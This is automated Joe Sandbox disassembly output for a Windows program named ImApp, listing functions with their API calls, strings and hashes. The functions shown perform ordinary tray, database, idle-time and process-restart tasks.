Opcode ID: 84620facf1a865689a45f73daf8319b9db38a43b0fc84a0d69e63a2b98b375e7
Instruction ID: 1f3901ccd45dbff5aeeebb3a148a6d5b107f84cff1bded9484c3e5449774433f
Opcode Fuzzy Hash: 84620facf1a865689a45f73daf8319b9db38a43b0fc84a0d69e63a2b98b375e7
Instruction Fuzzy Hash: 6591AE71248340AFD220DB15C981FABB7E4FF98704F504A2EF585A72D0DBB9E905CB5A

Function 0041B640 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 0041B65D
SetRect.USER32(?,00000000,00000000,?,?), ref: 0041B6F4
PtInRect.USER32(?,?,?), ref: 0041B709

Part of subcall function 004185C0: #23.IMUTILSU(FC8A6036), ref: 00418628
Part of subcall function 004185C0: #1383.IMUTILSU(?,00000000), ref: 00418686
Part of subcall function 004185C0: #1383.IMUTILSU(?,00000000,?,00000000), ref: 0041869D
Part of subcall function 004185C0: #6735.MFC80U(?,?,00000000,?,00000000), ref: 004186B3
Part of subcall function 004185C0: #667.IMUTILSU ref: 004186CF
Part of subcall function 004185C0: #280.MFC80U(?), ref: 004186E5
Part of subcall function 004185C0: #280.MFC80U(?), ref: 004186FF
Part of subcall function 004185C0: #280.MFC80U(?), ref: 00418719

Strings

HideModeLog, xrefs: 0041B7D9, 0041B7E3
In case the lock count is not zero, close main window so the process will exit., xrefs: 0041B7DE

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #280$#1383Rect$#667#6735Cursor
String ID: HideModeLog$In case the lock count is not zero, close main window so the process will exit.
API String ID: 3082441959-2250111630
Opcode ID: a9fd9fc3dc0776f48913d1d64fd788a577fe28117c473cca33b0680e46ba2511
Instruction ID: bf8e0a50a497aaa8dbda92dbb5a9bb9b9a11925252e249498524de20c8a9a3f2
Opcode Fuzzy Hash: a9fd9fc3dc0776f48913d1d64fd788a577fe28117c473cca33b0680e46ba2511
Instruction Fuzzy Hash: DF617BB16043009BC314EF2AC884AABF7E8FFC8714F14492FE55A87211D774E885CBA9

Function 00408780 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

#679.IMUTILSU(004250F4,00000000,00000015,004250A4,?,FC8A6036), ref: 004087CC
#344.IMUTILSU(004247D4,CImTray::OnGetNotifierManager(),Could not advise to INotifierManagerEvenets interface.,00000000,?,FC8A6036), ref: 004087EA
#1460.IMUTILSU(004247D4,CImTray::OnGetNotifierManager(),Could not advise to INotifierManagerEvenets interface.,00000000,?,FC8A6036), ref: 004087F1
#1194.MFC80U(?,?,FC8A6036), ref: 00408835
#685.IMUTILSU(?,?,?,?,?,?,?,FC8A6036), ref: 00408866
VariantClear.OLEAUT32(?), ref: 0040887D

Strings

Could not advise to INotifierManagerEvenets interface., xrefs: 00408829
CImTray::OnGetNotifierManager(), xrefs: 004087E0
Failed to create INotifierManager interface., xrefs: 004087DB

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1194#1460#344#679#685ClearVariant
String ID: CImTray::OnGetNotifierManager()$Could not advise to INotifierManagerEvenets interface.$Failed to create INotifierManager interface.
API String ID: 570360327-1188056517
Opcode ID: 60b9f8887a07be941abbc420a144a1a59d065dae3479bc202122cef20f2189c6
Instruction ID: 4d35eb1072d11d8d9b70a5cdb9425517279c18f0054e20c52c8221217188d88b
Opcode Fuzzy Hash: 60b9f8887a07be941abbc420a144a1a59d065dae3479bc202122cef20f2189c6
Instruction Fuzzy Hash: 33319D71304741AFC314EF69D981F57B7E8FB88724F504A2EF944A7281DB78A8048AA9

Function 00401F90 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

#310.MFC80U(FC8A6036), ref: 00401FBA
#310.MFC80U ref: 00401FC8
#1322.IMUTILSU(00003ACC,?,?,?,?,?,?,?,?,?,?,?,?,0041D972,000000FF), ref: 00401FDD
#1322.IMUTILSU(00003AD6,?,00003ACC,?,?,?,?,?,?,?,?,?,?,?,?,0041D972), ref: 00401FEC
#1220.MFC80U(00000000,00000000,00000000,00000000,00000000,00000001,000000FF,000000FF), ref: 0040203D
#1220.MFC80U(00000001,00000002,00000000,?,00000000,00000000), ref: 00402055
#578.MFC80U ref: 00402089
#578.MFC80U ref: 0040209B

Strings

$JB, xrefs: 00402023, 00402068, 00402071

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1220#1322#310#578
String ID: $JB
API String ID: 602324294-1380036637
Opcode ID: 4e2a26f9f6ff0dd567bdf08c05f6e7c97b6ca254bb9c4c5751934df9561bfe39
Instruction ID: 9af7c69ce93fb4a5400d97642dc2db04458c7876a6dceceed9c6f8d372036e4d
Opcode Fuzzy Hash: 4e2a26f9f6ff0dd567bdf08c05f6e7c97b6ca254bb9c4c5751934df9561bfe39
Instruction Fuzzy Hash: 86317C75208301AFD300DF14CC45F5AB7E8FB88720F504A1DF595932E0DBB4A905CBA6

Function 00419800 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

#776.MFC80U(?,FC8A6036,?,?,?,00420E09,000000FF), ref: 00419831

Part of subcall function 00415560: #6700.MFC80U(FC8A6036,?,?,?,?,00420549,000000FF), ref: 00415589
Part of subcall function 00415560: #290.MFC80U(?,00000000,?,?,?,?,00420549,000000FF), ref: 00415599
Part of subcall function 00415560: #3391.MFC80U(?,?,?,?,00420549,000000FF), ref: 004155AB
Part of subcall function 00415560: #1472.MFC80U(00000000,?,?,?,?,00420549,000000FF), ref: 004155B4
Part of subcall function 00415560: #578.MFC80U(?,?,?,?,00420549,000000FF), ref: 004155CB

#1322.IMUTILSU(00003AD7,?), ref: 0041984F
#1322.IMUTILSU(00003A9C,?), ref: 004198A0
#3928.MFC80U ref: 004198AA
#899.MFC80U(...), ref: 004198F9

Part of subcall function 004154A0: #6700.MFC80U(FC8A6036,?,?,?,?,0042051A,000000FF), ref: 004154D9
Part of subcall function 004154A0: #299.MFC80U(00000000,?,?,?,?,0042051A,000000FF), ref: 004154E6
Part of subcall function 004154A0: #2896.MFC80U(?,?,?,?,0042051A,000000FF), ref: 004154FE
Part of subcall function 004154A0: #3391.MFC80U(00000000,?,?,?,?,0042051A,000000FF), ref: 00415507
Part of subcall function 004154A0: #6113.MFC80U(?,00000000,?,?,?,?,0042051A,000000FF), ref: 00415513
Part of subcall function 004154A0: #1479.MFC80U(?,?,00000000), ref: 0041551F

#896.MFC80U(00000000,?,?,?,?,?,?,?,?,?,00420E09,000000FF), ref: 004198D6
#578.MFC80U(?,?,?,?,?,?,?,?,?,00420E09,000000FF), ref: 004198E8

Strings

..., xrefs: 004198EE
BOUNCE-MSG-4BAA-A0AA-1574026C8E49, xrefs: 00419837

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1322#3391#578#6700$#1472#1479#2896#290#299#3928#6113#776#896#899
String ID: ...$BOUNCE-MSG-4BAA-A0AA-1574026C8E49
API String ID: 2651782123-3454706875
Opcode ID: bc14bd3beec2e1cdfd15f3ad667ad1cef340f85e11d4cf9ff0734f937e81c45b
Instruction ID: 74dcf58ffc4cb1cca3fc0f574777046f8665e2275f0b0b14de446832846a6f23
Opcode Fuzzy Hash: bc14bd3beec2e1cdfd15f3ad667ad1cef340f85e11d4cf9ff0734f937e81c45b
Instruction Fuzzy Hash: 39210532310300AFC210EF10EC05BEA77A8FF86B10F80062EF096561C0DBB86906C76B

Function 100014B0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76memorythreadCOMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836), ref: 100014E5
EnterCriticalSection.KERNEL32(10010798), ref: 1000154B
TlsAlloc.KERNEL32(?), ref: 10001568
GetCurrentThreadId.KERNEL32 ref: 10001579
#675.IMUTILSU(Flags,DbMaxConnectionTransaction,?,00000000), ref: 1000158E
#1428.IMUTILSU(Flags,DbMaxConnectionTransaction,?,00000000), ref: 10001595
LeaveCriticalSection.KERNEL32(10010798,Flags,DbMaxConnectionTransaction,?,00000000), ref: 100015A4

Strings

DbMaxConnectionTransaction, xrefs: 10001581
Flags, xrefs: 10001586

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: CriticalSection$#1428#310#675AllocCurrentEnterLeaveThread
String ID: DbMaxConnectionTransaction$Flags
API String ID: 4166167163-2067370053
Opcode ID: c2838bf407e3f25f250a61270c3c2a1f3a87a6005f7c5113e8b0ba95f565cf38
Instruction ID: 757aa3f7c8d961ef02d448bfc5f5018cc5bf5d981eceda635f47e6a683079147
Opcode Fuzzy Hash: c2838bf407e3f25f250a61270c3c2a1f3a87a6005f7c5113e8b0ba95f565cf38
Instruction Fuzzy Hash: D83117B4508748CFD360CF2AC944A46FBE4FB49B54F804A1EE19A97A41CB75B105CF5A

Function 03272470 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 75libraryloaderCOMMON

Download Yara Rule

APIs

OutputDebugStringW.KERNEL32(************************************************), ref: 03272487
OutputDebugStringW.KERNEL32(?), ref: 0327248E
OutputDebugStringW.KERNEL32(************************************************), ref: 03272495
LoadLibraryW.KERNEL32(?), ref: 03272498
GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 032724AE
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 032724DD
FreeLibrary.KERNEL32(00000000), ref: 0327251A

Strings

DllGetClassObject, xrefs: 032724A8
************************************************, xrefs: 0327247A, 03272490

Memory Dump Source

Source File: 00000007.00000002.3532100878.0000000003271000.00000020.00000001.01000000.00000012.sdmp, Offset: 03270000, based on PE: true

Associated: 00000007.00000002.3531965898.0000000003270000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532138534.0000000003278000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532175053.000000000327D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000007.00000002.3532248982.000000000327E000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3270000_ImApp.jbxd

Similarity

API ID: DebugOutputString$LibraryLoad$AddressFreeProcType
String ID: ************************************************$DllGetClassObject
API String ID: 878718116-943532821
Opcode ID: a5b9191c7a92743ec31f493fe19659a812241a482f00457e3fed15928928a77b
Instruction ID: 4e015f41b93d5162f4ef2fdc23c0a16717878a5fbf3add0021be6e85004a0027
Opcode Fuzzy Hash: a5b9191c7a92743ec31f493fe19659a812241a482f00457e3fed15928928a77b
Instruction Fuzzy Hash: 9D214776204301AFD610DF69DC89E2BB7E8FF88664F18891DF549D7240D770E881CB61

Function 020CE320 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4,?,?,00000000,020EB9A9,000000FF,020C739F,?), ref: 020CE34A
#2311.MFC80U(?,%d,,00000001), ref: 020CE36F
#896.MFC80U(?), ref: 020CE37B
#2311.MFC80U(?,%d,,00000002), ref: 020CE392
#896.MFC80U(?), ref: 020CE39E
#2444.MFC80U(?), ref: 020CE3AF
#5705.MFC80U(?,00000020), ref: 020CE3C8
#578.MFC80U ref: 020CE3DA

Strings

%d,, xrefs: 020CE369, 020CE38C

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #2311#896$#2444#310#5705#578
String ID: %d,
API String ID: 321557169-4069433177
Opcode ID: 1b554492daff4cf6b5380c17ee251baa4d0004f3c6f79e54ca84673d649adfd0
Instruction ID: a2758c4eb4d2018377209cb86a2634128a5ef9eeeccc892bc6c3cca4d389685e
Opcode Fuzzy Hash: 1b554492daff4cf6b5380c17ee251baa4d0004f3c6f79e54ca84673d649adfd0
Instruction Fuzzy Hash: 4B213A756843019FD340CB14E849B9AB3A9BB98724F144A1DFAA6836C0D739A519CA52

Function 10003E40 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

#310.MFC80U(DC7F1836,?,?,?,?,?,?,?,00000000), ref: 10003E67
#2461.MFC80U(?), ref: 10003E7E
#2311.MFC80U(?,SELECT * FROM db2.%s limit %d,1,00000000), ref: 10003E8F
#6732.MFC80U ref: 10003EA9
sqlite3_exec.SQLITE3(?,?,10003E30,00000000,00000000), ref: 10003EC8
#578.MFC80U ref: 10003ED9
#578.MFC80U ref: 10003EF2
#578.MFC80U ref: 10003F18

Strings

SELECT * FROM db2.%s limit %d,1, xrefs: 10003E89

Memory Dump Source

Source File: 00000007.00000002.3546089256.0000000010001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3546072579.0000000010000000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546106672.000000001000C000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546159214.0000000010010000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.3546175971.0000000010011000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_ImApp.jbxd

Similarity

API ID: #578$#2311#2461#310#6732sqlite3_exec
String ID: SELECT * FROM db2.%s limit %d,1
API String ID: 238321861-481862900
Opcode ID: 96a00aeba73fff72fdfb9a51eabd0a9fa703ed8f160c08488ae20ce8f19bc11d
Instruction ID: e55c5509de9323f8c107e750f202c734920bb2f93de4f6e7d9d6accd323ffd9b
Opcode Fuzzy Hash: 96a00aeba73fff72fdfb9a51eabd0a9fa703ed8f160c08488ae20ce8f19bc11d
Instruction Fuzzy Hash: 6C2139754083409FE304CF14C989F9BB7E4FB99764F008A1DF59692295DB38AA08CB62

Function 020CA4C9 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

#310.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA4E6
#2311.MFC80U(00001FD4,%s = :%s,020F1BB4,020F1BB4,?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA503
#899.MFC80U(020F50C8), ref: 020CA51B
#896.MFC80U(00001FE4), ref: 020CA52A
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA539
#280.MFC80U(00001FD0,?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA558
#2311.MFC80U(00001FD0,UPDATE Groups SET %s WHERE GroupID=:GroupID,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA56B
#280.MFC80U(00001FDC), ref: 020CA577
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA58E
#578.MFC80U(?,?,?,?,?,?,?,?,?,000000FF), ref: 020CA59D

Strings

%s = :%s, xrefs: 020CA4FD

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#2311#280$#310#896#899
String ID: %s = :%s
API String ID: 2816507684-4279779317
Opcode ID: cb036d7a56552fde4633387f5da1ee1247c5277a4ca97c81a029a7ff339d9208
Instruction ID: 6089e0e605191b39202a5ce14e6366515451ce1bd450a73b8fd982faee823972
Opcode Fuzzy Hash: cb036d7a56552fde4633387f5da1ee1247c5277a4ca97c81a029a7ff339d9208
Instruction Fuzzy Hash: B5215931688344CBD344CF04D488BAEFBE0BB94349F44481DF98A92691DB78AA4CCB63

Function 004048A0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 56windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 004048C3
#314.MFC80U(00000000,FC8A6036), ref: 004048CD
#1998.IMUTILSU(Performance,00000000,SendRecvPerformance,?,?,?,?,?,?,?,?,?,?,0041DFD8,000000FF), ref: 004048E6
#1999.IMUTILSU(Performance,00000000,SendRecvPerformance,?,?,?,?,?,?,?,?,?,?,0041DFD8,000000FF), ref: 004048ED
#390.IMUTILSU(?,?,?,?,?,?,?,?,?,?,0041DFD8,000000FF), ref: 00404905
SendMessageW.USER32(?,0000808D,?,?), ref: 00404924
#6751.MFC80U(00000000,?,?,?,?,?,?,?,?,?,?,?,0041DFD8,000000FF), ref: 0040494F

Strings

SendRecvPerformance, xrefs: 004048DA
Performance, xrefs: 004048E1

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1067#1998#1999#314#390#6751MessageSend
String ID: Performance$SendRecvPerformance
API String ID: 228040205-3958713426
Opcode ID: 8ebbed40e72f982a9e1381ccbeb32008806a14f401506e4a31ed37c79634026c
Instruction ID: 3fefb809fde6740d4b761b8ca3ae87829ba988a9d80d192859512e8b4999f45e
Opcode Fuzzy Hash: 8ebbed40e72f982a9e1381ccbeb32008806a14f401506e4a31ed37c79634026c
Instruction Fuzzy Hash: F5113DB0604300ABD314EF25C946F6BB7E4EB84B14F108A1EB495973D1CB78D945CB66

Function 020E7B8A Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

#310.MFC80U ref: 020E7B8D
#2311.MFC80U(?,%s (%s:%d)%s,Exception thrown in destructor,c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin1.inl,0000006D,00000000,?,00000200,00000000), ref: 020E7BCB
#2311.MFC80U(?,%s (%s:%d),Exception thrown in destructor,c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin1.inl,0000006D,?,00000200,00000000), ref: 020E7BEB
#1118.MFC80U(?,00000000,00000000), ref: 020E7BFC
#578.MFC80U(?,00000000,00000000), ref: 020E7C08

Strings

Exception thrown in destructor, xrefs: 020E7BBD, 020E7BDD
%s (%s:%d), xrefs: 020E7BE2
c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin1.inl, xrefs: 020E7BB8, 020E7BD8
%s (%s:%d)%s, xrefs: 020E7BC2

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #2311$#1118#310#578
String ID: %s (%s:%d)$%s (%s:%d)%s$Exception thrown in destructor$c:\Program Files\Microsoft Visual Studio 8\VC\atlmfc\include\afxwin1.inl
API String ID: 1865733191-1598722791
Opcode ID: 515af0dee567e0b672e5f7af6f98032399c89faf8a6049e4742e6d8009cde0ee
Instruction ID: b0e3aa4bf6ab86c2d4e892a38070c2e7ae2d44627b423d93b26b439deef11450
Opcode Fuzzy Hash: 515af0dee567e0b672e5f7af6f98032399c89faf8a6049e4742e6d8009cde0ee
Instruction Fuzzy Hash: F111A970BC0305AFEB10DB98CC46FAEB375AF44B05F144144F60AAB2C0CAB5AA40AB61

Function 00405690 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

#675.IMUTILSU(Flags,SystemIdleMinutes,?,00000003), ref: 004056A8
#1428.IMUTILSU(Flags,SystemIdleMinutes,?,00000003), ref: 004056AF
GetModuleHandleW.KERNEL32(User32.dll,GetLastInputInfo,Flags,SystemIdleMinutes,?,00000003), ref: 004056BE
GetProcAddress.KERNEL32(00000000), ref: 004056C5
_time64.MSVCR80 ref: 004056D3

Strings

GetLastInputInfo, xrefs: 004056B4
Flags, xrefs: 004056A3
User32.dll, xrefs: 004056B9
SystemIdleMinutes, xrefs: 0040569E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1428#675AddressHandleModuleProc_time64
String ID: Flags$GetLastInputInfo$SystemIdleMinutes$User32.dll
API String ID: 3543834094-3052213247
Opcode ID: 13765e11020363a2ca5d91da3374ad1fcb5a5d9187ce9e893e89481f711b16d0
Instruction ID: 3dcf1eb1443afeb8aff0b844e63bd713af0903d823e3ba5378fceeced96ea8df
Opcode Fuzzy Hash: 13765e11020363a2ca5d91da3374ad1fcb5a5d9187ce9e893e89481f711b16d0
Instruction Fuzzy Hash: 8401D1B1700700BBCB20EFB0EC49BD67BF4EF44711F50892AF25A96180D678A241CB98

Function 004025C0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 28synchronizationCOMMON

Download Yara Rule

APIs

#1916.IMUTILSU(RestartManagerTray,*************** Terminate process **************,RestartManagerTray,00000000), ref: 004025D2
TerminateProcess.KERNEL32(?,000000FF), ref: 004025E1
#1916.IMUTILSU(RestartManagerTray,*************** After Terminate process **************,RestartManagerTray,00000000), ref: 004025F8
WaitForSingleObject.KERNEL32(?,00004E20), ref: 00402606
#1916.IMUTILSU(RestartManagerTray,*************** After wait for process to be killed **************,RestartManagerTray,00000000), ref: 0040261D

Strings

RestartManagerTray, xrefs: 004025C3, 004025CD, 004025E9, 004025F3, 0040260E, 00402618
*************** After wait for process to be killed **************, xrefs: 00402613
*************** Terminate process **************, xrefs: 004025C8
*************** After Terminate process **************, xrefs: 004025EE

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$ObjectProcessSingleTerminateWait
String ID: *************** After Terminate process **************$*************** After wait for process to be killed **************$*************** Terminate process **************$RestartManagerTray
API String ID: 824897995-1077070491
Opcode ID: b4fa7bbfcba0079c75795c7aefb91c8ef72566703049a3d0fd27d85ceb85820b
Instruction ID: 7ed0c2edc6096861a8f032672858939f9291287df0b079a8b5b6653c7c72dbc3
Opcode Fuzzy Hash: b4fa7bbfcba0079c75795c7aefb91c8ef72566703049a3d0fd27d85ceb85820b
Instruction Fuzzy Hash: 82E0EDF17D033136E9117E587D07F89A5208B11F6AFF40547BB18391C299CD3395419E

Function 020CB500 Relevance: 15.2, APIs: 10, Instructions: 168COMMON

Download Yara Rule

APIs

#310.MFC80U(?,?,?,?,?,?,?,?,?,?,?,?,020F0419,000000FF), ref: 020CB540
#280.MFC80U(265105E4), ref: 020CB55E
#578.MFC80U ref: 020CB571
#310.MFC80U ref: 020CB60E
#2311.MFC80U(00000000,020F1B8C,00000000), ref: 020CB624
#899.MFC80U(020F50C8,265105E4,?,00000001), ref: 020CB63C
#896.MFC80U(?,265105E4,?,00000001), ref: 020CB64B
#578.MFC80U ref: 020CB65D

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #310#578$#2311#280#896#899
String ID:
API String ID: 3311677904-0
